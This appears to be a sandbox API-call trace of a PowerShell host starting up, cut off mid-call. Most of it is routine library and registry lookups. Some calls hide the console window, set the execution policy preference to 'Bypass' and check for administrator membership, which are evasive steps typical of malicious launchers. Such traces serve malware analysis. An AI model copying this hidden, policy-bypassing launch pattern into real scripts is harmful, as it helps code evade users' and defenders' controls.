[0084.635] DuplicateTokenEx (in: hExistingToken=0x324, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0xeda98 | out: phNewToken=0xeda98*=0x320) returned 1 [0084.635] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xed938 | out: TokenInformation=0x0, ReturnLength=0xed938) returned 0 [0084.635] GetTokenInformation (in: TokenHandle=0x324, TokenInformationClass=0x8, TokenInformation=0x2a3f80, TokenInformationLength=0x4, ReturnLength=0xed938 | out: TokenInformation=0x2a3f80, ReturnLength=0xed938) returned 1 [0084.636] CheckTokenMembership (in: TokenHandle=0x320, SidToCheck=0x2cd9390*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xedaa8 | out: IsMember=0xedaa8) returned 1 [0084.636] CloseHandle (hObject=0x320) returned 1 [0084.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed570, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed570, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed570, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed5c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.693] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0xed510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0084.819] SetConsoleCtrlHandler (HandlerRoutine=0x2b5677c, Add=1) returned 1 [0084.852] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0084.852] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.853] CoTaskMemFree (pv=0x298790) [0084.853] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0084.853] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.853] CoTaskMemFree (pv=0x298790) [0086.036] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.036] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.036] CoTaskMemFree (pv=0x298790) [0086.437] GetConsoleWindow () returned 0x20262 [0086.437] ShowWindow (hWnd=0x20262, nCmdShow=0) returned 0 [0086.439] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.439] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.440] CoTaskMemFree (pv=0x298790) [0086.452] SetEnvironmentVariableW (lpName="PSExecutionPolicyPreference", lpValue="Bypass") returned 1 [0086.530] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x320 [0086.540] CoCreateGuid (in: pguid=0xedb90 | out: pguid=0xedb90*(Data1=0x5c0dc64d, Data2=0xe0e2, Data3=0x4133, Data4=([0]=0xa2, [1]=0x3a, [2]=0xb5, [3]=0xd, [4]=0xf0, [5]=0xc, [6]=0xf4, [7]=0x3e))) returned 0x0 [0086.565] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.565] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.565] CoTaskMemFree (pv=0x298790) [0086.646] WinSqmIsOptedIn () returned 0x0 [0086.646] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.646] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.647] CoTaskMemFree (pv=0x298790) [0086.654] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.654] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.654] CoTaskMemFree (pv=0x298790) [0086.655] CoTaskMemFree (pv=0x298790) [0086.666] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.667] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.667] CoTaskMemFree (pv=0x298790) [0086.668] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.668] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.668] CoTaskMemFree (pv=0x298790) [0086.686] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.686] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.686] CoTaskMemFree (pv=0x298790) [0086.687] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.687] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.687] CoTaskMemFree (pv=0x298790) [0086.691] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.691] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.691] CoTaskMemFree (pv=0x298790) [0086.696] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.696] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.696] CoTaskMemFree (pv=0x298790) [0086.822] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.822] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecf30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.823] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecf30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.823] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.823] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecf30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.823] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecf30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.824] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.824] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecf30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.824] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecf30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.825] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.825] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecf30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.825] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecf30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.838] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.838] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0086.838] CoTaskMemFree (pv=0x298790) [0086.856] CoTaskMemAlloc (cb=0xcc) returned 0x2957e0 [0086.856] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x2957e0, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0086.856] CoTaskMemFree (pv=0x2957e0) [0086.856] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0xed708 | out: phkResult=0xed708*=0x328) returned 0x0 [0086.856] RegQueryValueExW (in: hKey=0x328, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0xed68c, lpData=0x0, lpcbData=0xed688*=0x0 | out: lpType=0xed68c*=0x2, lpData=0x0, lpcbData=0xed688*=0x6c) returned 0x0 [0086.856] CoTaskMemAlloc (cb=0x70) returned 0x1b3c1fb0 [0086.856] RegQueryValueExW (in: hKey=0x328, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0xed65c, lpData=0x1b3c1fb0, lpcbData=0xed658*=0x6c | out: lpType=0xed65c*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0xed658*=0x6c) returned 0x0 [0086.856] CoTaskMemFree (pv=0x1b3c1fb0) [0086.856] CoTaskMemAlloc (cb=0xcc) returned 0x2957e0 [0086.856] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x2957e0, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0086.856] CoTaskMemFree (pv=0x2957e0) [0086.857] CoTaskMemAlloc (cb=0xcc) returned 0x2957e0 [0086.857] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x2957e0, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0086.857] CoTaskMemFree (pv=0x2957e0) [0086.859] RegCloseKey (hKey=0x328) returned 0x0 [0086.860] CoTaskMemAlloc (cb=0xcc) returned 0x2957e0 [0086.860] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x2957e0, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0086.860] CoTaskMemFree (pv=0x2957e0) [0086.860] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0xed708 | out: phkResult=0xed708*=0x328) returned 0x0 [0086.860] RegQueryValueExW (in: hKey=0x328, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0xed68c, lpData=0x0, lpcbData=0xed688*=0x0 | out: lpType=0xed68c*=0x0, lpData=0x0, lpcbData=0xed688*=0x0) returned 0x2 [0086.860] RegCloseKey (hKey=0x328) returned 0x0 [0086.885] CoTaskMemAlloc (cb=0x20c) returned 0x1b3ca760 [0086.885] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b3ca760 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0086.888] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.888] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.889] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.889] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.889] CoTaskMemFree (pv=0x298790) [0086.924] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.925] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.925] CoTaskMemFree (pv=0x298790) [0086.925] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.925] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.925] CoTaskMemFree (pv=0x298790) [0086.932] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed4f8 | out: phkResult=0xed4f8*=0x330) returned 0x0 [0086.935] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0xed50c, lpData=0x0, lpcbData=0xed508*=0x0 | out: lpType=0xed50c*=0x1, lpData=0x0, lpcbData=0xed508*=0x74) returned 0x0 [0086.936] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0xed47c, lpData=0x0, lpcbData=0xed478*=0x0 | out: lpType=0xed47c*=0x1, lpData=0x0, lpcbData=0xed478*=0x74) returned 0x0 [0086.936] CoTaskMemAlloc (cb=0x78) returned 0x1b3c1fb0 [0086.936] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0xed44c, lpData=0x1b3c1fb0, lpcbData=0xed448*=0x74 | out: lpType=0xed44c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0xed448*=0x74) returned 0x0 [0086.936] CoTaskMemFree (pv=0x1b3c1fb0) [0086.936] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0xed1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0086.936] SetErrorMode (uMode=0x1) returned 0x1 [0086.936] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0xed3d0 | out: lpFileInformation=0xed3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0086.936] SetErrorMode (uMode=0x1) returned 0x1 [0086.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xed1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0086.938] SetErrorMode (uMode=0x1) returned 0x1 [0086.938] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xed3d0 | out: lpFileInformation=0xed3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0086.939] SetErrorMode (uMode=0x1) returned 0x1 [0086.943] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xed1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0086.943] SetErrorMode (uMode=0x1) returned 0x1 [0086.943] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xed3d0 | out: lpFileInformation=0xed3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0086.944] SetErrorMode (uMode=0x1) returned 0x1 [0086.947] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.947] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.947] CoTaskMemFree (pv=0x298790) [0086.975] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0086.975] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.975] CoTaskMemFree (pv=0x298790) [0086.977] GetACP () returned 0x4e4 [0087.015] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0087.016] SetErrorMode (uMode=0x1) returned 0x1 [0087.016] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x334 [0087.017] GetFileType (hFile=0x334) returned 0x1 [0087.017] SetErrorMode (uMode=0x1) returned 0x1 [0087.018] GetFileType (hFile=0x334) returned 0x1 [0087.019] ReadFile (in: hFile=0x334, lpBuffer=0x2d60610, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2d60610*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.034] ReadFile (in: hFile=0x334, lpBuffer=0x2d60610, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2d60610*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.034] ReadFile (in: hFile=0x334, lpBuffer=0x2d60610, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2d60610*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.034] ReadFile (in: hFile=0x334, lpBuffer=0x2d60610, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2d60610*, 